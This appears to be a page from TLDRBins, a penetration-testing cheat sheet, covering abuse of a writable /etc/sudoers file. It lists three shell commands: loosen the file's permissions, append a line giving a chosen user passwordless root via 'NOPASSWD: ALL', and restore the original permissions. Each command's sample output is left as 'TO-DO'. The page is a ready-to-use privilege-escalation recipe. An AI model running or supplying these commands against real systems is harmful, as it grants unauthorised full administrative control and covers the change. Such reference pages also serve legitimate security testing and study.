TLDRBins TLDRBins / sudoers


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

Abuse #1: Writable /etc/sudoers

chmod 600 /etc/sudoers
Sample Output: TO-DO
echo '<USER> ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
Sample Output: TO-DO
chmod 440 /etc/sudoers
Sample Output: TO-DO